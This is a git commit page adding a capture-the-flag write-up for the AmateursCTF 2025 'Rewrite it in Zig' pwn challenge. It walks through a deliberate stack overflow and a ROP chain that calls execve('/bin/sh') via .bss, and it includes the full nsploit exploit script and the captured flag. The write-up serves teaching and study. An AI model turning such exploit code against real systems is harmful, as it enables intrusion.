summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorMatt Hunter <m@lfurio.us>2025-11-23 00:09:01 -0500
committerMatt Hunter <m@lfurio.us>2025-11-23 00:09:01 -0500
commit7c2211f61ef869c78b5a2d8a8aa0fb6680b94cf0 (patch)
tree5239668fa13026448af54566b139b28bb8a4cb28
parentdb39f461079843918ef50799a976c058bdb65fe2 (diff)
downloadlib-des-gnux-7c2211f61ef869c78b5a2d8a8aa0fb6680b94cf0.tar.gz
lib-des-gnux-7c2211f61ef869c78b5a2d8a8aa0fb6680b94cf0.zip
Writeup AmateursCTF 2025 / Rewrite it in Zig
Signed-off-by: Matt Hunter <m@lfurio.us>
-rw-r--r--docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt190
1 files changed, 190 insertions, 0 deletions
diff --git a/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt b/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt
new file mode 100644
index 0000000..21612e7
--- /dev/null
+++ b/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt
@@ -0,0 +1,190 @@
+"Sometimes rust is just a little too safe for me."
+
+
+
+We are provided with an x86_64 ELF executable and its corresponding Zig source
+code. There is also a dummy flag file and Dockerfile that can be used to
+construct a functioning mirror of the remote. I never bothered with this docker
+image while testing, opting to simply debug the executable and test various
+inputs with sploit.
+
+The program is a very simple Zig file:
+```
+const std = @import("std");
+const print = std.debug.print;
+
+pub fn main() void {
+ print("you can never have too much zip pwn.\n", .{});
+
+ var backing: [0x100]u8 = undefined;
+ var buf: []u8 = &backing;
+ buf.len = 0x1000;
+ _ = std.io.getStdIn().read(buf) catch {};
+}
+```
+
+
+
+RE
+--
+The program appears to attempt to read up to 0x1000 bytes into a buffer of size
+0x100. If my understanding of the Zig API involved is correct, the language's
+stdin.read() is still trying to do a properly bounded read, but the challenge
+author has thwarted that by making a "cast" of the backing memory area (called
+`buf`) with its size information overridden. This should allow us to smash the
+stack by overrunning the area allocated for `backing` (the actual stack-based
+memory) when main calls stdin.read(buf).
+
+I analyzed the main() function in ghidra - here is a truncated view of what
+happens. First, "you can never have..." is printed; then the space for
+`backing` is initialized to all 0xaa bytes. The read at the end is shown:
+```
+ uStack_168 = 0xaaaaaaaaaaaaaaaa;
+ backing[0] = 0xaa;
+ backing[1] = 0xaa;
+ backing[2] = 0xaa;
+ backing[3] = 0xaa;
+ backing[4] = 0xaa;
+ backing[5] = 0xaa;
+ backing[6] = 0xaa;
+ backing[7] = 0xaa;
+ buf.ptr = (u8 *)0x1000;
+ getStdIn();
+ buf.len._4_4_ = (undefined4)buf.len;
+ read((int)local_18,&local_180,(size_t)((long)&buf.len + 4)); // !
+ return;
+}
+```
+
+That read() call is to an instance method on the stdin object obtained with
+`getStdIn()`. Since I'm not at all familiar with the Zig standard library, I
+didn't originally trace the calls down to the actual read system call. Instead,
+I tried feeding the program a large de Bruijn sequence and looking for a crash.
+When catching a crash this way, you just need to check what address RIP tried
+to jump to and search the original input for that bit pattern. Since the input
+sequence should have no duplicate substrings, we can unambiguously determine the
+offset at which to place an attacker-controlled return address to gain
+execution.
+
+Using this method, I determined the necessary offset to be 360 bytes. Just to
+confirm, if we feed this basic sploit payload into the program, we should get
+main to "return" into 0xdeadbeef (and crash).
+
+ io.writeline(Payload()(padlen(360), 0xdeadbeef)())
+
+I had planned at this point to construct a ROP chain to call into libc and
+obtain a shell on the remote. However, on a quick glance of the binary we can
+see that not only is this a statically linked executable, but Zig doesn't
+appear to lean on the C runtime library at all. So, a different path to exec()
+would need to be found.
+
+I will also point out here that the executable is also compiled as non-PIC,
+but I did not realize that at this point. I proceeded to construct my ROP
+chain under the assumption that ASLR was randomizing the location of my
+non-.text sections. I know, that sounds odd in hindsight, but that should
+explain how and why I was trying to load the string for "/bin/sh" from a stack
+address in the way that I was.
+
+
+
+ROP
+===
+As stated above, we have a different set of standard library functions compiled
+into the program as you might expect with libc. There is no function for
+execve() or similar, however there are some generic syscall functions. I
+attempt to call syscall3() in this way:
+
+ syscall3(59, binsh_ptr, 0, 0) //execve("/bin/sh", NULL, NULL)
+
+59 is the syscall number for execve() on linux x86_64, and while the last two
+arguments aren't "supposed" to be NULL, we can set them that way without
+breaking anything.
+
+Since this isn't based on a libc, there is no "/bin/sh" string in memory that
+we can just search for and point to. The bytes need to be loaded by our
+attack somehow. We can trivially place them on the stack - just include the
+string directly in the response we send to read(). However, we don't know the
+location of the stack in memory and would have to leak the string's address.
+
+
+
+Loading arbitrary stack memory (unnecessary)
+============================================
+I searched for any gadget that would be useful for mov-ing the current stack
+pointer address into some other register. This way I could implant "/bin/sh"
+on the stack payload (as described above) then grab a reference to it to use
+later in the ROP chain. If you pair such a gadget with another one that makes
+a pop or two into unrelated registers, you can nudge the stack pointer past
+this string data and continue on executing your ROP.
+
+The only potentially useful gadgets like this involved a `mov rbp, rsp`
+instruction - the problem with all of them is that they were each part of a
+function epilogue that does `pop rbp; ret` at the end, overwriting our saved
+stack address.
+
+Some other gadgets did the same initial mov and involved an `xchg rbp, *`.
+These looked promising, but each ended up being unviable for one reason or
+another.
+
+I eventually realized what I mentioned earlier in this writeup: the file is
+non-PIC, so we have reliable runtime addresses for sections like .data and
+.bss. It was this realization that allowed me to construct my final ROP chain.
+
+
+
+ROP (for real)
+==============
+I have a known writable location in memory that I can use - that being the start
+of the .bss section. Since I don't mind crashing the process after getting the
+flag, my payload can freely use this space to house any data it needs. I'll
+store the string "/bin/sh\x00" here.
+
+sploit has a feature for incorporating arbitrary memory access into ROP chains,
+but I did need to manually find a gadget for it to use. This was found using
+r2 in sploit's gadget search:
+
+ Gadget(0x10bb81a, 'mov qword [rdx], rdi; xor eax, eax; ret')
+
+AKA: If I can get values into rdi and rdx, this gadget will write the bytes
+encoded in rdi, into the memory location pointed to by rdx. eax is also set to
+zero, this is just a random side-effect of executing this gadget, and should be
+accounted for by the rest of the ROP chain.
+
+In my solution script, I needed to manually identify a couple other "register
+controlling" gadgets too. You'll see those in the solution below. The main
+job of my exploit script is fairly straightforward at this point - just produce
+a single payload with the following ROP:
+
+ - 360 padding bytes
+ - write "/bin/sh\x00" to address 0x10d8000 (.bss)
+ - setup registers to call syscall3(59, 0x10d8000, 0, 0)
+
+When the exec completes, we will have an interactive shell on the system and
+can just cat the flag file. See my full nsploit script below.
+
+amateursCTF{i_love_zig_its_my_favorite_language_and_you_will_never_escape_the_zig_pwn_ahahaha}
+
+
+
+```
+from nsploit.rev import *
+from nsploit.tech import *
+
+elf = ELF("./chal")
+rop = ROP(elf)
+
+straddr = elf.sym.sect['.bss']
+
+elf.sym.rdi = GadHint(0x10c3470, pops=['rdi','rbp'])
+elf.sym.rsi = GadHint(0x10cec9e, pops=['rsi','rbp'])
+elf.sym.www = GadHint(0x10bb81a, writes={'rdx':'rdi'}, imms={'rax':0})
+
+payload = Payload()
+payload.pad = padlen(360)
+payload.binsh = rop.memcpy(straddr, b"/bin/sh\x00")
+payload.shell = rop.call(elf.sym['os.linux.x86_64.syscall3'], 59, straddr, 0, 0)
+
+print(payload)
+io.writeline(payload())
+io.interact()
+```